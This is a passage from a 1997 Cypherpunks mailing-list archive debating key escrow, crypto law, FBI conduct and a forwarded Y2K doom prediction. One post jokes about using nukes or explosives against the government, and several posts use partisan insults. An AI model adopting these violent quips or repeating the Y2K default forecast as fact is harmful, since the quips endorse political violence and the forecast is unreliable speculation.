>computer that has not rolled over (and shut down) on a bi-annual basis 
>on July 1, 1998.  Almost every state: about half a dozen will roll over on 
>October 1, 1999.
>
>     In 1999, chaos will hit the financial markets, all over the world -- 
>assuming that this does not happen earlier, which I do not assume.  The 
>public will know the truth in 1999: THE DEFAULT ON U.S. 
>GOVERNMENT DEBT IS AT HAND.  The tax man won't be able to 
>collect in 2000.  The tax man will be blind.  Consider how many banks 
>and money market funds are filled with T-bills and T-bonds.  Consider 
>how the government will operate with the IRS completely shut down.  
>Congress hasn't thought much about this.  Neither has Bill Clinton.
>
>
>
>
- - -----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

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- -> Send "subscribe   snetnews " to majordomo@world.std.com
- ->  Posted by: Jack Doolin <jackdoolin@earthlink.net>


------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Mon, 15 Sep 1997 10:08:23 +0800
To: sethf@mit.edu (Seth Finkelstein)
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <9709120730.AA15341@frumious-bandersnatch.MIT.EDU>
Message-ID: <199709150155.UAA00434@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



>> From: David H Dennis <david@amazing.com>
> > able to jump over 50 Libertarians in a single bound, 
> 	able to out-flame 5 or so Libertarians in a single thread is
> more accurate.

	Don't break your arm. 

> 	Here's a quick political lesson: Being a Liberal in the US
> means very roughly ONLY that one believes that the government has some
> role to play in moderating the excesses of the market. It does not

	That may be what they *SAY*, based on what they *DO*, what they 
are for is taking from the productive members of society, and giving to 
the unproductive. (or rather taking from the financially productive, and
giving to the financially unproductive.).

> particularly *make* you a civil-libertarian. However, because Liberals
> think about general social power and the abuse of it, they are very

	Liberals usually don't think much. They are too busy "feeling" and
playing with their crystals. 

> 	It also helps that Liberals are *predominantly* drawn from
> ranks of those who are the targets of both public and private
> abuses. So they often both favor government action against business

	Really? I wasn't aware that the Kennedys were/are targets of public
and private abuses. Nor are the Clintons (exepct they are from Arkansas), 
nor most _current_ union members, including their leadership. etc. 

> 	Corollary 1: Detonating a nuclear device in DC will not solve this
> problem. The surviving government will just have a very good excuse for
> crypto-controls.

	We got plenty of nukes, and if we feel those are too dirty (I don't 
think one or two would matter, but any more than that and things might get 
a little nasty) we could always descalate (or whatever the opposite of 
escalate is) to small arms or conventional explosives. 

> 	Corollary 2: Repeated Libertarian rantings won't solve it either.

	No, but it might get one or two people to stop fingering their 
crystals/genitals long enough to realize that big monololitihc governments 
do not now and never have provided protection for the individual. The 
protections of individuals, whether that be civil-liberty type protections, 
or protections against other evils is always more effective the closer it gets
to home. When neighbors work together, theives have a real hard time.
(the only time when Big Government tends to protect one better than the 
city/neighborhood is in times of war, but if there weren't any big governments,
there wouldn't be any big wars...).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Mon, 15 Sep 1997 10:13:02 +0800
To: zooko@xs4all.nl (Zooko Journeyman)
Subject: Re: in defense of Lon Horiuchi
In-Reply-To: <199709120843.KAA01441@xs1.xs4all.nl>
Message-ID: <199709150206.VAA00457@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> There are many issues one could legitimately argue regarding
> a policeman who accidentally kills a non-combatant bystander
> during a fight.  But comparing such a policemen to a
> terrorist who deliberately targets non-combatants with a bomb
> is beyond the pale.  That, but for my interruption, this
> comparison would have passed unremarked among the cypherpunks
> crowd is damning.

	I think the point, Zooko, is that the sniper didn't 
"accidentally" kill the woman and her baby. It was a deliberate 
shot. If it wasn't a deliberate shot, then not only is the 
shooter criminally negligent, but so is the person who handed 
him the rifle. 

> Why I'm posting:
> I don't expect that merely because of my contradiction the
> more rabid cypherpunks will suddenly throw off their twin
> blinders of ideology and hatred.  Neither do I desire that

	There is no (or little) hatred of individuals here. There
is hatred for ideologies, beliefs, and points of view. I don't hate
you. I don't know you. I might hate you if I knew you, it is a 
stastically probability, but until we meet, who knows. I DO hate 
big intrusive governments. I don't see the problem there. 
	
	I do hate the politics of the Big Lie, and the politics of 
mob rule. I don't see the problem there. 

	I do hate spending 1/3 to 1/2 of my working hours supporting 
lazy good for nothing bums. No, I am not talking about welfare reciepents,
I am talking about Government workers. I don't see a problem with this. 

> because there are a great number of silent readers of the 
> cpunks list, and some of these people, perhaps being young or
> inexperienced, may consider such vile slanders to be 
> self-evident truths if they continually see them pass 
> unchallenged.

	Post a challenge, not erroneous "facts".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Mon, 15 Sep 1997 10:32:05 +0800
To: nobody@REPLAY.COM (Anonymous)
Subject: Re: Not key escrow, key recovery
In-Reply-To: <199709121430.QAA16638@basement.replay.com>
Message-ID: <199709150213.VAA00520@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



>>It is quite probable that this has been said before.  In case it hasn't,
>>however, I feel compelled to point out that mandatory key escrow/recovery
>>could likely mean an economic disaster of unimaginable proportions.
> (Underpaid clerk steals secret keys, etc.)
> Wake up.  It's not key escrow, it's key recovery.  Every message will be
> encrypted with a LEAF (law enforcement access field).  This is an additional
> recipient who can decrypt the message.  No user or corporate secret
> keys are escrowed.  You're working with yesterday's scenario.

	Oh, great. So there will be a few hundred LEAKs (Law Enforcement 
Agency Keys) laying around on hard drives all over the country so these 
LEA's can decrypt the messages. Great. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Mon, 15 Sep 1997 10:36:37 +0800
To: jsmith58@hotmail.com (John Smith)
Subject: Re: The problem of playing politics with our constitutional
In-Reply-To: <199709121906.MAA29004@f50.hotmail.com>
Message-ID: <199709150227.VAA00578@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> thousands of
> >suggestions about how best to recruit more public supporters. T-shirts,
> >gimmicks, and suggestions for songs about crypto, for getting t.v.
> >producers to put crypto, pro-privacy themes in their t.v. shows, and so 
> on.
> >All pretty hopeless, wouldn't you say?
> Why do you say that?  Clipper was defeated.  People all over the net
> united and opposed it.  Now there is this new threat, but at least
> defeating Clipper bought some time.  There is no reason the same
> thing can't happen again.

	The way I remember it, it was only defeated after <oh shit, I'm
drawing a blank here what was his name...> at Bell Labs/Lucent Technologies 
proved that the clipper chip could be counterfeitted and interoperate with 
"legitimate" clippered devices.

	Most people didn't even know about the fight, much less take a side. 

	The Code was written by Mr. Blaze, and the law fell apart. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Mon, 15 Sep 1997 10:46:14 +0800
To: fu@dev.null
Subject: Re: Self-Prohibition List
In-Reply-To: <3419A19C.1172@dev.null>
Message-ID: <199709150232.VAA00600@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> List of things you should prohibit yourself from putting in writing
> in a GAK'ed Universe:
> 1. You're Jewish.
  2. Your Sexual Predeliction, other than straight-missionary. 
	





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Mon, 15 Sep 1997 09:44:16 +0800
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: Real issue of crypto controls: security or taxation loss?
In-Reply-To: <199709131600.MAA22590@cti06.citenet.net>
Message-ID: <199709150137.VAA12586@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



On 13 Sep 97 at 12:16, Black Unicorn wrote:


> >To this, all I can find of enough magnitude to put them in such state 
> >is that they just recently *truly* realized that crypto will, 
> >infinitely more than to threaten the security of the state,
> >threaten their very existence by putting them outside of the money 
> >loop.

> Strongly disagree.

> In fact, the forces driving the current legislation, FBI, DoD, are more
> concerned not with being unable to decrypt in realtime than they are about
> being unable to distinquish, en masse, the bad actors encrypted
> communications with the paranoid but harmless crypto user.  If crypto gets
> widespread enough there is no way to filter one from the other any longer.

Your last sentence means that they can read crypted text.  They even 
hinted at it recently.  But then, why the proposed law?

Do they indulge in statistical efficiency or do they want 99.9999+% 
efficiency at their "filtering"?  I'd say if they "filter" only, say, 
90% of all communications and an Oklahoma City plan passes by in the 
10% remaining, it won't be good enough for them.  So, why the law if 
they already can decrypt?  Can you reasonnably expect the vilains 
to use the most easy-to-crack and/or GAKed schemes? 

> The "private currency and taxation loss" is not even on the radar screens.
> Oliver Ireland, of the fed, thinks its just silly to think that way.  Also
> see Kendall Houghton, (Committee on State Taxation) remarks on the subject.
> The powers that be just roll their eyes at the "no more taxes"
> crypto-radical crowd.

If you were in their shoes, what would you say to the public?  Ever 
heard about the game called Poker?  Did Santa told you they would 
never lie to you?

In the last few weeks, I've been thinking about the utility and 
security risk of using PGP if it can be cracked easily.

And then, I realized that my reaction was probably just what they 
expected: FUD to have people limit by themselves their use of strong 
crypto.  Coupled with the cops saying that "of course, we can decode 
them, but just a tad too slow to protect your childs...", I now 
believe they just can't crack it.

And with it, comes their crackdown on crypto users, their e-$ and 
their crypted love letters.


jfa
-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
 DePompadour, Societe d'Importation Ltee
    Finest of Limoges porcelain and crystal
 JFA Technologies, R&D consultants
    physicists and engineers, LabView programing.
PGP encryption keys at:
   http://w3.citenet.net/users/jf_avon
   http://bs.mit.edu:8001/pks-toplev.html
ID# C58ADD0D  : 529645E8205A8A5E F87CC86FAEFEF891 
ID# 5B51964D  : 152ACCBCD4A481B0 254011193237822C





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Mon, 15 Sep 1997 10:48:21 +0800
To: jf_avon@citenet.net
Subject: Re: Real issue of crypto controls: security or taxation loss?
In-Reply-To: <3.0.3.32.19970913121630.006c66c0@schloss.li>
Message-ID: <3.0.3.32.19970914214159.006c8da8@schloss.li>
MIME-Version: 1.0
Content-Type: text/plain



At 09:34 PM 9/14/97 -0500, jf_avon@citenet.net wrote:
>On 13 Sep 97 at 12:16, Black Unicorn wrote:
>
>
>> >To this, all I can find of enough magnitude to put them in such state 
>> >is that they just recently *truly* realized that crypto will, 
>> >infinitely more than to threaten the security of the state,
>> >threaten their very existence by putting them outside of the money 
>> >loop.
>
>> Strongly disagree.
>
>> In fact, the forces driving the current legislation, FBI, DoD, are more
>> concerned not with being unable to decrypt in realtime than they are about
>> being unable to distinquish, en masse, the bad actors encrypted
>> communications with the paranoid but harmless crypto user.  If crypto gets
>> widespread enough there is no way to filter one from the other any longer.
>
>Your last sentence means that they can read crypted text.  They even 
>hinted at it recently.  But then, why the proposed law?

How does this follow?  It's purely a traffic analysis problem.  Has nothing
to do with cryptanalysis.

>Do they indulge in statistical efficiency or do they want 99.9999+% 
>efficiency at their "filtering"?  I'd say if they "filter" only, say, 
>90% of all communications and an Oklahoma City plan passes by in the 
>10% remaining, it won't be good enough for them.  So, why the law if 
>they already can decrypt?  Can you reasonnably expect the vilains 
>to use the most easy-to-crack and/or GAKed schemes? 

I dont understand how this follows either.

>> The "private currency and taxation loss" is not even on the radar screens.
>> Oliver Ireland, of the fed, thinks its just silly to think that way.  Also
>> see Kendall Houghton, (Committee on State Taxation) remarks on the subject.
>> The powers that be just roll their eyes at the "no more taxes"
>> crypto-radical crowd.
>
>If you were in their shoes, what would you say to the public?  Ever 
>heard about the game called Poker?  Did Santa told you they would 
>never lie to you?

Don't be silly.  The crypto-radical bunch is not taken very seriously.  I'm
not saying they should be, but face fact.  Your ego aside, you must realize
that government just doesn't think that taxation is really threatened by
digital bearer devices.  They think its threatened by the jurisdictional
questions.  Period.

>In the last few weeks, I've been thinking about the utility and 
>security risk of using PGP if it can be cracked easily.
>
>And then, I realized that my reaction was probably just what they 
>expected: FUD to have people limit by themselves their use of strong 
>crypto.  Coupled with the cops saying that "of course, we can decode 
>them, but just a tad too slow to protect your childs...", I now 
>believe they just can't crack it.

I've always believed they can't.

>And with it, comes their crackdown on crypto users, their e-$ and 
>their crypted love letters.

Believe me, e$ is not really on the map yet, and to the extent it is on the
horizon the person who will bring it to their attention has not bothered to
yet.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Mon, 15 Sep 1997 14:16:47 +0800
To: Bill Stewart <cypherpunks@cyberpass.net
Subject: Re: Ship Code!  Re: House Intelligence Committee Press Release
In-Reply-To: <3.0.2.32.19970912154309.035b0a18@panix.com>
Message-ID: <v0300783ab042724bc6da@[207.94.249.39]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:18 AM -0700 9/13/97, Bill Stewart wrote:
>On the other hand, PGP 5.0 has a perfectly usable GAK feature,
>not that the Fedz would approve it.  It's the "Always encrypt to default key",
>which is primarily intended for keeping copies in a form you can read later,
>but would work just as well with the FBI key instead.

Making the FBI key an immediate target for (1) Distributed factoring; (2)
Stealing by hook, crook or bribery; or (3) Destruction of the coresponding
secret key by some cypherliberty nut. :-)  (1) and (2) would blow any
secrets encrypted with the system.  (3) would only stop GAK until new keys
could be rammed down people's throats.  My bet would be (2).  Aldrich Ames
wasn't the only spy in the world.  If the FBI is monitoring phone calls set
up with DH key agreement, they are going to need to access that secret key
quite frequently.  It will be very hard to protect it under those
circumstances.

An encrypt to FBI key system has some really serious vulnerabilities.  I
scares me to have our financial system, utilities, and airlines, to name
just a few vital civilian services, depend on a system with such an obvious
flaw.  There are people and organizations out there who would love to
disrupt these systems, and flawed encryption would give them a powerful
tool.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Mon, 15 Sep 1997 14:17:07 +0800
To: Steve Schear <cypherpunks@cyberpass.net
Subject: Re: Letter to Senator Bryan, was Re: Key Recovery is Bad for US Security
In-Reply-To: <3.0.32.19970905103052.00700338@homer.communities.com>
Message-ID: <v0300783cb04275f3a339@[207.94.249.39]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:40 AM -0700 9/13/97, Steve Schear wrote:
>Bill, I hope you don't mind me basing my letter on yours.

Not at all.  One of the reasons I posted it.

While it might have been better if we had not followed the legalization of
exports root, I think letting representatives know that voting for the
surveillance society has political costs is probably our best strategy for
having the whole thing disappear in the rush to adjourn.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Will Rodger <rodger@worldnet.att.net>
Date: Mon, 15 Sep 1997 10:35:08 +0800
To: Vin McLellan <vin@shore.net>
Subject: Re: unSAFE won't pass?
In-Reply-To: <3.0.3.32.19970914113657.006daba8@postoffice.worldnet.att.net>
Message-ID: <3.0.3.32.19970914223133.006dd4dc@postoffice.worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 06:22 PM 9/14/97 +0000, Vin McLellan wrote:
>
>Will Rodger <rodger@worldnet.att.net> declared:
>
>>It may make for good copy, but I think it's just fantasy to think 
the
>>administration or their opponents, for that matter, will get what
>>they want this year. Let them swarm. Who cares.
>>
>>At earliest, August of 1998 before anything passes - and even that 
is
>>highly optimistic.
>
>Will:
>
>	Could you please explain the logic, numbers, and procedural
>limitations of congressional action that lead you to this 
conclusion?

Sure. 

But let me throw in a simple caveat: politics is about people - _all_ 
predictions of what they will do are subjective.

>	Why not now?

With one month to go, there are a handful of things taking up time in 
Congress. The budget is the by far the largest one. Unless a bill is 
truly close to passing or the leadership has already evinced a desire 
to move on a bill - and they haven't - it's unlikely it will pass 
with so little time left.  Also, there's no bill in the Senate that 
goes as far as what's moving in the House; even Dorothy Denning says 
mandatory KR gives here the heebie-jeebies under current technology. 

Simply put: crypto is an issue of truly enormous import. Congress 
will figure that out quickly once everyone has heard both sides of 
the issue.

>	Why not between now and August '98?

That's my general estimate of the time needed for a subject that is 
simply too complex for quick action. Look at telecom reform: it took 
a decade to do. 

>	Why the deadline/target-date of August '98?

August recess. Getting something done far in advance of it just seems 
unlikely, but if it were close, the leadership might want to get rid 
of the issue before recessing. And don't forget that is an election 
year. No way do you want to go home and campaign with that issue 
still hanging fire. For that matter, a lot of people blamed crypto's 
slow progress on the whole of  '96. If it isn't settled by August, I 
think you're definitely into 1999. Now, again, there's no scientific 
proof that Congress couldn't move before then. This is just my own 
estimate of the importance of this issue.

Declan gets a fifth of whatever he fancies if this thing is settled 
before August 1998.

Cheers.


Will

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Mon, 15 Sep 1997 15:07:25 +0800
To: Martin Minow <cypherpunks@cyberpass.net
Subject: Re: Federal motivation
In-Reply-To: <199709150051.CAA25392@basement.replay.com>
Message-ID: <v03007841b04285975251@[207.94.249.39]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:54 PM -0700 9/14/97, Martin Minow wrote:
>Remember, the Martin Luther King who was thrown in jail in Alabama
>in the early 1960's was the same Martin Luther Kings who received
>the Nobel Peace Prize a few years later, and who was killed for
>his revolutionary activities just a few years after that. Whether
>he was a hero or villian depends on who writes the history book
>and it is, ultimately, our responsibility to make sure that many,
>conflicting, history books can be written.

Most particularly remember that the director-for-life of the FBI used
telephone intercepts in an attempt to get this Martin Luther King to commit
suicide.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 15 Sep 1997 14:53:58 +0800
To: "Vladimir Z. Nuri" <cypherpunks@cyberpass.net
Subject: Re: IRS tax reform y2k style
In-Reply-To: <199709150346.UAA18593@netcom13.netcom.com>
Message-ID: <3.0.3.32.19970914233638.006877dc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 08:46 PM 9/14/97 -0700, Vladimir Z. Nuri wrote:
>Gary North has been predicting apocalypse on the y2k subject
>for awhile. but he has a lot of data to back his claims.
>this talks about the IRS computers and predicts they're going
>to collapse.

Gary North has been predicting apocalypse on whatever subject
would sell investment newsletters for 20 years or more.
But, hey, if the IRS does collapse from Millenial troubles, fine by me :-)

I couldn't find a PGP key that would decrypt the signature -
was it vznuri's, jackdoolin's, or Gary North's ?

The Y2K problem is largely hype, but the machines that will
suffer from it most aren't just the old C0B0L-burning dinosaurs -
it's the PCs on the desktops; even some of them made in 1997 will
probably need at least new BIOS PROMs to keep up to date.

Some number of years ago, the Treasury Department put out an
RFP for a bunch of computers and networks.  The RFP was a shade clueless,
wanting things like C2 security certification when there were only
a few B-level systems and one C-level system out there,
and Red Book security was still a research topic inconsistent with
the requirement for GOSIP networking compliance.
The winning team, from AT&T, bid a bunch of servers (Pyramid MIPS-2000-
based?)
and blazingly fast 386/25 machines, and was immediately thrown into
three years of litigation because they were selected not for lowest cost
but for best technology.  By the time the courts were done,
and they could actually start implementing the job, the red-hot 386/25
was now pretty lukewarm, but a lot easier to provide at a decent profit 
margin :-)

I don't know if what they provided was the same as the AT&T 6386/25 on my 
desk,
but neither that machine nor the Pentium-75 laptop I'm typing on now
does the right thing when you set the clock to 12/31/99 11:59:59 and wait.
The IRS has probably bought some newer machines since then,
but I'd be surprised if they're _all_ fixed.  Or mostly fixed.

Bitrot is cool -- heh heh -- heh heh -- bitrot, yeah.
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=QzcU
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 15 Sep 1997 15:10:06 +0800
To: fnorky@geocities.com (Douglas L. Peterson)
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <v03102800b03f2612ab6a@[207.167.93.63]>
Message-ID: <3.0.2.32.19970914235145.0073d63c@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:36 AM 9/15/97 GMT, Douglas L. Peterson wrote:
>Ok, we write code.  But as James S. Tyre pointed out, if the code is
>too difficult to use it will not be.  And as Declan pointed out
>many/most people will not use the crypto if they must think about it.
>
>Writing the code is no longer enough.  The code must be usable by the
>sheeple to work.  How do we do that?

Write better code.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 15 Sep 1997 15:01:00 +0800
To: Michael Wilson <cypherpunks@cyberpass.net>
Subject: Re: Escrow system design query
In-Reply-To: <01INNGT441W0AKTJ63@DGN0IG.mcimail.com>
Message-ID: <3.0.3.32.19970914235357.00694e4c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 08:03 PM 9/14/97 -0400, Michael Wilson wrote:
>Does anyone know of a solid document out there in the web that actually
>describes the proposed key escrow backbone network?  After wading through
>considerable junk in the search engines (my, but the net is wordy on the
>topic), I didn't turn up anything that looked like architecture.

Back during Clipper, there was, if not an actual design for an escrow system,
at least a bunch of fabrication intended to add verisimilitude to an 
otherwise bald and unconvincing narrative.  The amount of framework it would
take to do an escrow system capable of handling every key from Verisign
and Netscape is substantially beyond anything anyone was really funded for;
much easier to do the job for a few thousand Clipperphones, and build 
infrastructure as sales pick up.  Building an infrastructure for a system
that has keys generated by users, by the millions, is much harder than 
building one for a small centralized system.
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Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: verify@nytimes.com (New York Times subscription robot)
Date: Mon, 15 Sep 1997 12:29:20 +0800
To: cypherpunks@toad.com
Subject: Welcome to The New York Times on the Web
Message-ID: <199709150415.AAA00516@content8a.nytimes.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Thomas Junker" <tjunker@mail.phoenix.net>
Date: Mon, 15 Sep 1997 15:37:37 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Federal motivation
In-Reply-To: <199709150051.CAA25392@basement.replay.com>
Message-ID: <199709150716.CAA16258@raid2.fddi.phoenix.net>
MIME-Version: 1.0
Content-Type: text/plain



On 14 Sep 97 at 18:54, Martin Minow wrote:

> Anonymous, signing as Monty Cantsin, [wrote]:

> >Perhaps we can elaborate on this.  Judging from their actions, what
> >they want is a full blown police state.  They've seen the product, now
> >they want one of their own.  This is obvious to everybody on this
> >list, but sometimes people are coy about it, probably in an effort to
> >appear to be "legitimate".

> Sorry, it isn't obvious to me. The most paranoid I can work myself
> up to is to assume that some (not all) of our leaders want to restore
> their half-remembered 1950's Dick-and-Jane, big car, Eisenhauer suburbian
> childhood...

And I think that a tremendous obstacle here is a fairly widespread 
and definitely human tendency to ascribe innocent or misguided 
motivation to what are, objectively, consummately *evil* deeds. 
Those are not bumpkins up there in Congress. Some may question their 
IQs but of those congresscritters are crafty lawyers. The few who 
aren't lawyers are just crafty. That's how they got there and 
that's how they build their power and wealth bases once there, in 
jobs that don't pay enough to make any honest person rich.

> The new cryptography makes the Internet safe for child pornographers,
> for revolutionaries, for criminals, 

Virtually any resource one could name could be similarly demonized, 
as the beleaguered gun owners well know. Criminals enjoy safe and 
comfortable transportation by car, bus, train and jetliner. They 
sustain their mortal coils with food. They breathe air. Anything 
that is commonly used or useful can be said to nurture, further, 
encourage or protect the criminal element.  

The logical response is, "So what?"  

The emotional, PR knee-jerk reaction of a public only superficially
involved with anything outside the confines of their complicated
little sitcom-and-sports lives is to nod in robotic agreement and
sit still while breathing permits are passed into law, to be revoked
only when one of those nasty, awful bad guys uses air in furtherance 
of a political crime. By the time breathing permits are routinely 
revoked for expired car tags Joe Lunchbucket is in way over his head.

This stuff is serious. This pattern is not new -- it is just new
*here*, a development of the last 20 years. Similar slippery slopes
have been traveled in other countries, in other times. These times
are getting way too interesting for comfort. 

TJ

|              Sign up now for the               |
|          Cypherpunks Retirement Plan           |
| Provided free of charge by the U.S. Government |
|           Open Enrollment has begun            |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 15 Sep 1997 08:58:19 +0800
To: cypherpunks@cyberpass.net
Subject: Federal motivation
Message-ID: <199709150051.CAA25392@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Martin Minow wrote:
> EH: Why do the Fed's want access to plaintext? The motivation has
> not been made clear. Policy goals are stated in technological terms,
> not in policy terms.

Perhaps we can elaborate on this.  Judging from their actions, what
they want is a full blown police state.  They've seen the product, now
they want one of their own.  This is obvious to everybody on this
list, but sometimes people are coy about it, probably in an effort to
appear to be "legitimate".

This transcends the issue of crypto, although the problem will be more
manageable if the use of crypto remains legal.

What we are seeing is the fight for survival of the institutions
created during World War II.  Their only purpose now is self
promotion.  This was universally recognized ten years ago when the
Wall fell, but somehow the "peace dividend" never materialized and
they got another trillion dollars out of us.

We can look at Russia and see just how hard it is for a society to
free itself of these sorts of institutions.  How much of the Russian
"Mafia" is composed of fragments of the KGB?  This story can be read
again and again throughout history.

What is different in 1997 is that the technology of mass surveillance
and population management is superior.  What is at stake is whether we
remain a free people or whether we end up with ear tags like cattle.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: fnorky@geocities.com (Douglas L. Peterson)
Date: Mon, 15 Sep 1997 13:22:16 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Freeh says FBI doing great, supports Weaver killer
In-Reply-To: <Pine.GSO.3.95.970910162659.17580Z-100000@well.com>
Message-ID: <341da930.107088978@mail.geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 10 Sep 1997 16:28:27 -0700 (PDT), you wrote:
>	WASHINGTON (AP) - FBI Director Louis Freeh today declared his
>agency "in great shape" despite a recent spate of public relations
>embarrassments and said he has no plans to step down from his job.
[large snip]
>	The FBI will continue to stand behind Lon Horiuchi, an FBI
>sharpshooter charged last month by local authorities with involuntary
>manslaughter for the shooting death of Vicky Weaver, wife of white
>supremacist Randy Weaver, during a deadly standoff in Idaho, Freeh said.

Declan, just an observation, but have you noticed that the media seems
to incapable of saying the name Randy Weaver without using the words
white supremacist (or separatist)?  Do you think this is deliberate or
just a case of following a pattern set by others?

-Doug
-------------------
Douglas L. Peterson
mailto:fnorky@geocities.com
http://www.geocities.com/SiliconValley/Heights/1271/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: fnorky@geocities.com (Douglas L. Peterson)
Date: Mon, 15 Sep 1997 12:48:38 +0800
To: tm@dev.null
Subject: Re: in defense of Lon Horiuchi
In-Reply-To: <199709120843.KAA01441@xs1.xs4all.nl>
Message-ID: <341fac67.107911571@mail.geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 12 Sep 1997 03:19:30 -0600, you wrote:
[snip]
>  How about we divvy up the duties of teaching these young,
>inexperienced readers the truths of life.
>  You teach them how to say "Heil Hitler!" and we'll teach them
>how to say "Lock and Load!" Their future is going to be mighty
>dim if they don't know how to say one or the other.
>
>TruthMonger
>

I fear it will be a dim future if they must learn those phrases as
well.

-Doug
-------------------
Douglas L. Peterson
mailto:fnorky@geocities.com
http://www.geocities.com/SiliconValley/Heights/1271/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: fnorky@geocities.com (Douglas L. Peterson)
Date: Mon, 15 Sep 1997 13:08:00 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <v0310280fb03e85064817@[207.167.93.63]>
Message-ID: <3420afc6.108774731@mail.geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 12 Sep 1997 10:07:45 -0700, you wrote:

>At 9:13 AM -0700 9/12/97, Glenn Hauman wrote:
>>At 1:42 AM -0400 9/12/97, Tim May wrote:
>>>At 10:05 PM -0700 9/11/97, James S. Tyre wrote:
>>>
>>>>So, the last rhetorical question -- how do you convince someone who's
>>>>never used a browser (the vast majority of the voting populace, I'd
>>>>think) why crypto is important?
>>>
>>>This is back to where we were four and a half years ago, when Clipper was
>>>dropped on us. "How do we educate the users?"
>>>
>>>Trust me, it's a hopeless task. We don't have the advertising budgets, the
>>>staff for education, etc.
>>>
>>>And it ain't our responsibility to "save" the sheeple.
>>
>>True, but if it's war, we gotta get more troops. I don't want to save them,
>>I want more troops on my side.
>>
>>Education is good. Exploiting FUD is probably better. (DoJ's learned
>>something from dealing with Microsoft.) Luckily, it ain't that hard to whip
>>up Fear, Uncertainty and Doubt against the US Government.
>
>Fair enough. If you can launch an education program, well and good.
>
>I'm just pointing out that we saw this situation several years ago with
>Clipper. The list was, predictably, sidetracked with literally thousands of
>suggestions about how best to recruit more public supporters. T-shirts,
>gimmicks, and suggestions for songs about crypto, for getting t.v.
>producers to put crypto, pro-privacy themes in their t.v. shows, and so on.
>All pretty hopeless, wouldn't you say?
>
